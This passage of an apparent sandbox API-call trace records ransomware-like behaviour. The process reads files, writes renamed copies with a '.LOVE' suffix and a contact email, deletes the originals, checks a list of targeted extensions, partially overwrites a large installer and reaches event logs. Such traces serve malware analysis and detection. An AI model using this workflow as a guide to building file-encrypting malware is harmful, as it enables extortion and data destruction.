(lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.556] GetLastError () returned 0x0 [0198.556] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x13148, lpOverlapped=0x0) returned 1 [0198.892] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x13150, lpOverlapped=0x0) returned 1 [0198.894] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.894] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xe6, lpOverlapped=0x0) returned 1 [0198.894] SetEndOfFile (hFile=0x2f0) returned 1 [0198.894] CloseHandle (hObject=0x2f0) returned 1 [0198.896] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.896] SetEndOfFile (hFile=0x2ec) returned 1 [0198.897] CloseHandle (hObject=0x2ec) returned 1 [0198.897] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.898] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0198.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.898] lstrlenW (lpString=".doc") returned 4 [0198.898] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0198.898] lstrlenW (lpString=".docx") returned 5 [0198.898] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0198.898] lstrlenW (lpString=".pdf") returned 4 [0198.898] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0198.898] lstrlenW (lpString=".xls") returned 4 [0198.898] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0198.898] lstrlenW (lpString=".xlsx") returned 5 [0198.898] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0198.898] lstrlenW (lpString=".ppt") returned 4 [0198.898] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0198.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.898] lstrlenW (lpString=".zip") returned 4 [0198.898] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0198.898] lstrlenW (lpString=".rar") returned 4 [0198.898] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0198.898] lstrlenW (lpString=".bz2") returned 4 [0198.898] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0198.898] lstrlenW (lpString=".7z") returned 3 [0198.898] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString=".dbf") returned 4 [0198.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString=".1cd") returned 4 [0198.899] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString=".jpg") returned 4 [0198.899] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString=".doc") returned 4 [0198.899] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0198.899] lstrlenW (lpString=".docx") returned 5 [0198.899] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0198.899] lstrlenW (lpString=".pdf") returned 4 [0198.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString=".xls") returned 4 [0198.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString=".xlsx") returned 5 [0198.899] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0198.899] lstrlenW (lpString=".ppt") returned 4 [0198.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.899] lstrlenW (lpString=".zip") returned 4 [0198.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString=".rar") returned 4 [0198.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0198.899] lstrlenW (lpString=".bz2") returned 4 [0198.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0198.899] lstrlenW (lpString=".7z") returned 3 [0198.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0198.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.900] lstrlenW (lpString=".dbf") returned 4 [0198.900] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0198.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.900] lstrlenW (lpString=".1cd") returned 4 [0198.900] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0198.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0198.900] lstrlenW (lpString=".jpg") returned 4 [0198.900] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0198.900] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0198.900] lstrlenW (lpString="SetupUtility.exe") returned 16 [0198.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.900] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=96088) returned 1 [0198.900] CloseHandle (hObject=0x2ec) returned 1 [0198.900] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0198.900] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.900] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.900] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.901] GetLastError () returned 0x0 [0198.901] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x17758, lpOverlapped=0x0) returned 1 [0199.045] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x17760, lpOverlapped=0x0) returned 1 [0199.048] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.048] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf4, lpOverlapped=0x0) returned 1 [0199.048] SetEndOfFile (hFile=0x2f0) returned 1 [0199.048] CloseHandle (hObject=0x2f0) returned 1 [0199.050] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.050] SetEndOfFile (hFile=0x2ec) returned 1 [0199.051] CloseHandle (hObject=0x2ec) returned 1 [0199.051] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0199.052] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0199.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.052] lstrlenW (lpString=".doc") returned 4 [0199.052] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0199.052] lstrlenW (lpString=".docx") returned 5 [0199.052] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0199.052] lstrlenW (lpString=".pdf") returned 4 [0199.052] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0199.052] lstrlenW (lpString=".xls") returned 4 [0199.052] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0199.052] lstrlenW (lpString=".xlsx") returned 5 [0199.052] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0199.052] lstrlenW (lpString=".ppt") returned 4 [0199.052] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0199.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.052] lstrlenW (lpString=".zip") returned 4 [0199.052] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0199.052] lstrlenW (lpString=".rar") returned 4 [0199.052] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0199.052] lstrlenW (lpString=".bz2") returned 4 [0199.052] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0199.052] lstrlenW (lpString=".7z") returned 3 [0199.052] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0199.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".dbf") returned 4 [0199.053] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".1cd") returned 4 [0199.053] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".jpg") returned 4 [0199.053] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".doc") returned 4 [0199.053] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0199.053] lstrlenW (lpString=".docx") returned 5 [0199.053] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0199.053] lstrlenW (lpString=".pdf") returned 4 [0199.053] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString=".xls") returned 4 [0199.053] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString=".xlsx") returned 5 [0199.053] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0199.053] lstrlenW (lpString=".ppt") returned 4 [0199.053] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".zip") returned 4 [0199.053] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString=".rar") returned 4 [0199.053] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0199.053] lstrlenW (lpString=".bz2") returned 4 [0199.053] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0199.053] lstrlenW (lpString=".7z") returned 3 [0199.053] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0199.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.053] lstrlenW (lpString=".dbf") returned 4 [0199.053] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0199.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.054] lstrlenW (lpString=".1cd") returned 4 [0199.054] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0199.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0199.054] lstrlenW (lpString=".jpg") returned 4 [0199.054] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0199.054] lstrcmpiW (lpString1=".msu", lpString2=".LOVE") returned 1 [0199.054] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0199.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0199.135] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=5198099) returned 1 [0199.135] CloseHandle (hObject=0x2f0) returned 1 [0199.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0199.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.136] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0199.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0199.136] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0x0) returned 1 [0199.136] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.136] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f72058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.324] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.324] ReadFile (in: hFile=0x2f0, lpBuffer=0x3fb2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fb2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.594] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.594] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.594] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ff2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ff2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.896] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.896] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x369fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0200.227] SetEndOfFile (hFile=0x2f0) returned 1 [0200.227] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4381448 [0200.229] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.229] WriteFile (in: hFile=0x2f0, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.229] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.229] WriteFile (in: hFile=0x2f0, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.231] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.231] WriteFile (in: hFile=0x2f0, lpBuffer=0x4381448*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x4381448*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0200.235] CloseHandle (hObject=0x2f0) returned 1 [0202.711] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0202.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.711] lstrlenW (lpString=".doc") returned 4 [0202.712] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0202.712] lstrlenW (lpString=".docx") returned 5 [0202.712] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0202.712] lstrlenW (lpString=".pdf") returned 4 [0202.712] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0202.712] lstrlenW (lpString=".xls") returned 4 [0202.712] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0202.712] lstrlenW (lpString=".xlsx") returned 5 [0202.712] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0202.712] lstrlenW (lpString=".ppt") returned 4 [0202.735] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString=".zip") returned 4 [0202.735] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0202.735] lstrlenW (lpString=".rar") returned 4 [0202.735] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0202.735] lstrlenW (lpString=".bz2") returned 4 [0202.735] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0202.735] lstrlenW (lpString=".7z") returned 3 [0202.735] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString=".dbf") returned 4 [0202.735] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString=".1cd") returned 4 [0202.735] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString=".jpg") returned 4 [0202.735] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.735] lstrlenW (lpString=".doc") returned 4 [0202.735] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0202.735] lstrlenW (lpString=".docx") returned 5 [0202.735] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0202.735] lstrlenW (lpString=".pdf") returned 4 [0202.736] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0202.736] lstrlenW (lpString=".xls") returned 4 [0202.736] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0202.736] lstrlenW (lpString=".xlsx") returned 5 [0202.736] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0202.736] lstrlenW (lpString=".ppt") returned 4 [0202.736] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0202.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.736] lstrlenW (lpString=".zip") returned 4 [0202.736] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0202.736] lstrlenW (lpString=".rar") returned 4 [0202.736] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0202.736] lstrlenW (lpString=".bz2") returned 4 [0202.736] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0202.736] lstrlenW (lpString=".7z") returned 3 [0202.736] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0202.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.736] lstrlenW (lpString=".dbf") returned 4 [0202.736] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0202.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.736] lstrlenW (lpString=".1cd") returned 4 [0202.736] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0202.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0202.736] lstrlenW (lpString=".jpg") returned 4 [0202.736] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0202.737] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.737] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0202.737] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0202.737] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0202.737] CloseHandle (hObject=0x2f0) returned 1 [0202.737] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0202.757] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.757] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0202.757] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.757] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.757] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0202.758] GetLastError () returned 0x0 [0202.758] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0202.873] WriteFile (in: hFile=0x35c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, 